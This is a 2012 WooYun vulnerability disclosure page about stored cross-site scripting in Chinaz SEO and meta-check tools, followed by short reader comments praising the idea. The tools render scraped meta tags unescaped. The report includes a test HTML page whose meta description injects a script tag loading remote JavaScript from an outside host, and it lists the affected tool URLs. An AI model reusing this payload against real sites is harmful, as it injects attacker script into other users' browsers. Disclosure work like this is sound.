当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-014488

漏洞标题：站长之家存储型xss(一种新思路)

相关厂商：站长之家

漏洞作者： 团长

提交时间：2012-11-08 11:01

修复时间：2012-11-08 11:01

公开时间：2012-11-08 11:01

漏洞类型：xss跨站脚本攻击

危害等级：中

自评Rank：10

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-11-08： 积极联系厂商并且等待厂商认领中，细节不对外公开
2012-11-08： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

这是一类网站。

详细说明：

现在有很多网站信息查询，seo优化，网站安全检测之类的网站，这些网站通常会抓取网页的meta信息。这样如果用户的meta是恶意代码，就会出现问题。
站长之家等网站就有这样的问题。
测试代码，写一个简单的页面：

<html>
<head><meta name="keywords" content='tmxk.org' />
<meta name="description" content="<script src=http://tmxk.org/x.js style=''" /></head><body></body></html>


然后到站长之家去检测，
seo.chinaz.com/?host=unbet8.com%2f%
截图：

1.png


2.png


其它举例：
http://www.gongju.com/meta/#url=unbet8.com/0.htm
http://www.gongju.com/meta/ret/01370d996e987723/
http://tool.chinaz.com/Tools/MetaCheck.aspx?url=unbet8.com%2F%

漏洞证明：

修复方案：

版权声明：转载请注明来源 团长@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞评价：

评论

  1. 2012-11-08 11:24 | Finger 认证白帽子 ( 普通白帽子 | Rank:777 漏洞数:95 | 最近有人冒充该账号行骗，任何自称Finger并...)

    思路不错啊 有启发

  2. 2012-11-08 11:34 | momo ( 实习白帽子 | Rank:91 漏洞数:24 | ★精华漏洞数:24 | WooYun认证√)

    这个，，，

  3. 2012-11-08 16:42 | 团长 ( 路人 | Rank:0 漏洞数:1 | 呵呵哈哈 嘿嘿 嘎嘎)

    @Finger 这个思路X天下

  4. 2012-11-10 13:19 | 墨水心_Len ( 实习白帽子 | Rank:70 漏洞数:15 | PKAV技术宅 | 每一个有文化的东西，我们都...)

    一种新思路！

  5. 2012-11-10 19:34 | guiker ( 路人 | Rank:0 漏洞数:1 | PHP屌丝程序员！)

    思路不错。。。